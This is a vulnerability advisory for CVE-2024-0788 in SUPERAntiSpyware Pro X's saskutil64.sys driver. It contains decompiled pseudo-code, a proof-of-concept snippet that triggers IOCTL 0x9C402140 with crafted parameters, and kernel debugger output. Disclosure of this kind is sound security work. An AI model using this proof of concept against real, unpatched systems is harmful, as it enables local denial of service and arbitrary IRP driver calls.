SUPERAntiSpyware Pro X - API manipulation


NameSUPERAntiSpyware Pro X v10.0.1260 - Kernel-level API parameters manipulation
Code nameBrubeck
ProductSUPERAntiSpyware Pro X
Affected versionsVersion 10.0.1260
Release date2024-01-29


KindKernel-level API parameters manipulation
Rule344. Lack of data validation - Non Sanitized Variables
CVSSv3 Base Score5.8
Exploit availableYes
CVE ID(s)CVE-2024-0788


SUPERAntiSpyware Pro X v10.0.1260 is vulnerable to kernel-level API parameters manipulation and Denial of Service vulnerabilities by triggering the 0x9C402140 IOCTL code of the saskutil64.sys driver.


The 0x9C402140 IOCTL code of the saskutil64.sys driver allows a local attacker to manipulate the parameters of the IoGetDeviceObjectPointer and IoBuildSynchronousFsdRequest kernel-level APIs, leading to DoS when a invalid Device Object is passed to IoGetDeviceObjectPointer. The primitive can be further abused to create arbitrary IRPs to perform driver-to-driver calls.

The decompiled pseudo-code of the affected function is this:

__int64 __fastcall sub_1110C(__int64 a1, __int64 a2) { unsigned __int64 v2; // rbx volatile void *v3; // rcx PIRP v4; // rax struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-48h] BYREF struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+50h] [rbp-38h] BYREF struct _KEVENT Event; // [rsp+60h] [rbp-28h] BYREF PDEVICE_OBJECT DeviceObject; // [rsp+98h] [rbp+10h] BYREF union _LARGE_INTEGER Timeout; // [rsp+A0h] [rbp+18h] BYREF PFILE_OBJECT FileObject; // [rsp+A8h] [rbp+20h] BYREF v2 = *(_QWORD *)(a2 + 0x18); if ( v2 < 0x8000000000000000ui64 ) { ProbeForRead((volatile void *)v2, 0x1018ui64, 1u); ProbeForWrite((volatile void *)v2, 0x1018ui64, 1u); } v3 = *(volatile void **)(v2 + 0x1010); if ( (unsigned __int64)v3 < 0x8000000000000000ui64 ) { ProbeForRead(v3, *(unsigned int *)(v2 + 0x1008), 1u); ProbeForWrite(*(volatile void **)(v2 + 0x1010), *(unsigned int *)(v2 + 0x1008), 1u); } RtlInitUnicodeString(&DestinationString, (PCWSTR)v2); IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject); // [1] Timeout = *(union _LARGE_INTEGER *)(v2 + 0x1000); KeInitializeEvent(&Event, NotificationEvent, 0); v4 = IoBuildSynchronousFsdRequest( //[2] 4u, DeviceObject, *(PVOID *)(v2 + 0x1010), *(_DWORD *)(v2 + 0x1008), &Timeout, &Event, &IoStatusBlock); v4->Flags = 0x10;
  if ( IofCallDriver(DeviceObject, v4) == 0x103 )
    KeWaitForSingleObject(&Event, Executive, 0, 0, 0i64);
  return 0i64;

When an attacker performs a request to the affected IOCTL, some parameters of [1] and [2] can be influenced.

Snipped of the Proof-of-Concept:

ULONGLONG injectedBufferAddr = 0x00000003a0000000; ... LPVOID injectedBuffer = VirtualAlloc((LPVOID)injectedBufferAddr, 0x1020, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ... memset(injectedBuffer, 0x42, 0x1020); ... // IoGetDeviceObjectPointer->ObjectName swprintf_s((WCHAR*)inBuf, 13, L"\\Device\\CNG"); // IoBuildSynchronousFsdRequest->StartingOffset ((PDWORD64)((DWORD64)inBuf + 0x1000))[0] = (ULONGLONG)0x1337; // IoBuildSynchronousFsdRequest->Length ((PDWORD64)((DWORD64)inBuf + 0x1008))[0] = (ULONGLONG)0x200; // IoBuildSynchronousFsdRequest->Buffer
((PDWORD64)((DWORD64)inBuf + 0x1010))[0] = (ULONGLONG)injectedBuffer;
DWORD IoControlCode = 0x9C402140;
BOOL triggerIOCTL = DeviceIoControl(hOseeDriver, IoControlCode, (LPVOID)InputBuffer, InputBufferLength, (LPVOID)OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);

The resulting kernel-level API calls are:

Breakpoint 1 hit SASKUTIL64+0x11b5: fffff804`535211b5 ff157d0e0000 call qword ptr [SASKUTIL64+0x2038 (fffff804`53522038)] 1: kd> dps fffff804`53522038 L1 fffff804`53522038 fffff804`4e80f9f0 nt!IoGetDeviceObjectPointer 1: kd> du poi(rcx+8) ffff8608`2b4bf000 "\Device\CNG" Breakpoint 0 hit SASKUTIL64+0x1216: fffff804`53521216 ff15f40d0000 call qword ptr [SASKUTIL64+0x2010 (fffff804`53522010)] 0: kd> dps fffff804`53522010 L1 fffff804`53522010 fffff804`4e858f70 nt!IoBuildSynchronousFsdRequest 0: kd> r rcx; r rdx; r r8; r r9; dps poi(rsp+20) L1; dps poi(rsp+28) L1
ffffa781`aa9e97e0  00000000`00001337
ffffa781`aa9e97a0  00000000`68060000

Our security policy

We have reserved the ID CVE-2024-0788 to refer to this issue from now on.

System Information

  • Version: SUPERAntiSpyware Pro X v10.0.1260
  • Operating System: Windows


There is currently no patch available for this vulnerability.


The vulnerability was discovered by Andres Roldan from Fluid Attacks' Offensive Team.


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